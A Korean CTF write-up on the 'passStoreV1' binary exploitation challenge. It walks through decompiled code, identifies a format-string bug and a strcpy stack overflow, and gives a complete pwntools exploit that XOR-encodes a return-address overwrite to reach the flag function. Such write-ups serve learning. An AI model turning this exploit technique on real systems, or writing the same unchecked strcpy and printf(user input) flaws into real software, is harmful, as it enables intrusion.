Info (8/219) solves
description Try to use new superpuper secure command line password storage!
url: 0.cloud.chals.io:12367
for player
1 passStoreV1: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=2349feff7fdc9215b7e1275413f61af630980a82, for GNU/Linux 3.2.0, not stripped
Analysis Mitigation 1 2 3 4 5 Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
문제 풀다가 바이너리가 바뀌었다. =ㅅ= 원래 파이가 있었는데 파이가 사라졌다.
Source Code 1 2 3 4 5 6 7 8 int __cdecl __noreturn main (int argc, const char **argv, const char **envp) { welcome(); addName(); keyGen(); while ( 1 ) menu(); }
main은 이렇게 생겼다. welcome 함수는 볼 게 없어서 그 다음 함수부터 보자.
1 2 3 4 5 ssize_t addName () { puts ("Please type your name: " ); return read(0 , username, 0x20 uLL); }
전역 변수 username에 0x20 만큼 쓸 수 있다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 int keyGen () { unsigned int seed; int i; seed = time(0LL ); srand(seed); puts ("Some preparations...." ); for ( i = 0 ; i <= 7 ; ++i ) key[i] = rand() % 26 + 97 ; puts ("Master key prepared!\nKey: " ); printf (key); return puts ("\n" ); }
key를 출력해준다. 여기서 fsb가 발생할 수 있지만.. 컨트롤하기가 꽤 까다로워보인다. 아무튼 출력해주는 key를 뒤에서 어떻게 사용할까 생각하면서 일단 넘어간다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 __int64 menu () { __int64 result; int v1; puts ("Menu: " ); puts ("1) Add password" ); puts ("2) Read password" ); puts ("3) Chage name" ); puts ("0) Exit" ); __isoc99_scanf("%d" , &v1); if ( v1 == 3 ) return changeName(); if ( v1 <= 3 ) { switch ( v1 ) { case 2 : return readPass(); case 0 : puts ("Bye Bye.... " ); exit (0 ); case 1 : result = addPass(); encrypted = result; return result; } } puts ("Try again..." ); return menu(); }
menu 함수는 while을 통해 무한히 실행된다. 여기서 주목해야할 것이 3번메뉴 changeName 함수와 1번 메뉴 addPass 함수이다.
1 2 3 4 5 6 7 8 9 int changeName (void ) { printf ("Your name is " ); printf (username); puts ("Please type your name: " ); read(0 , username, 0x20 uLL); printf ("Your new name: " ); return printf (username); }
먼저 changeName 함수. 대놓고 fsb가 터진다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 char *addPass (void ) { char src[256 ]; char buf[256 ]; char dest[44 ]; int i; read(0 , buf, 0x100 uLL); for ( i = 0 ; i <= 255 ; ++i ) { if ( buf[i] == 10 ) { src[i] = 10 ; break ; } src[i] = key[i % 8 ] ^ buf[i]; } strcpy (dest, src); return strncpy (&encrypted, dest, 0x1F uLL); }
addPass 함수. dest 크기가 44인데 여기다가 256 크기의 src를 복사한다. 대놓고 bof가 터지고 pie도 없다. flag를 출력해주는 함수도 존재하니 바로 흐름을 돌려주면 된다. 하지만 이 전에 src를 가공하니 exploit을 작성할 때 유의해줘야 한다.
Vulnerability strcpy 함수는 복사할 때 길이 검증을 하지 않아 bof 발생 가능성이 존재한다. 이 문제에서 이로 인해 함수 흐름을 변경할 수 있는 가능성이 존재한다.
Exploit Exploit Scenario
key 값 leak
payload 작성 후 addPass 함수의 로직 구현
Exploit Code 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 from pwn import *context.arch = 'amd64' context.log_level = 'DEBUG' e = ELF('./chall' ) p = remote('0.cloud.chals.io' , 12367 ) p.recvuntil('name:' ) p.sendline(b'AAAA' ) p.recvuntil('Key: \r\n' ) key = p.recvline()[:-2 ] info(key) p.sendlineafter('it\r\n' , str (1 )) buf = b'' buf += b'A' * (0x30 +0x8 ) buf += p64(0x40162d ) buf += b'\n' print (repr (key))print (repr (buf))src = [] for i in range (0 , 255 ): if buf[i] == 10 : break src.append(key[i%8 ] ^ buf[i]) src = bytes (src) p.sendline(src) p.interactive()
python3 bytes 1 2 3 4 5 6 7 8 9 >>> src = []>>> src.append(1 )>>> src.append(2 )>>> src.append(3 )>>> src[1 , 2 , 3 ] >>> >>> bytes (src)b'\x01\x02\x03'
Flag 1 flag{hmmm...1_7h0u6h7_17_15_53cur3}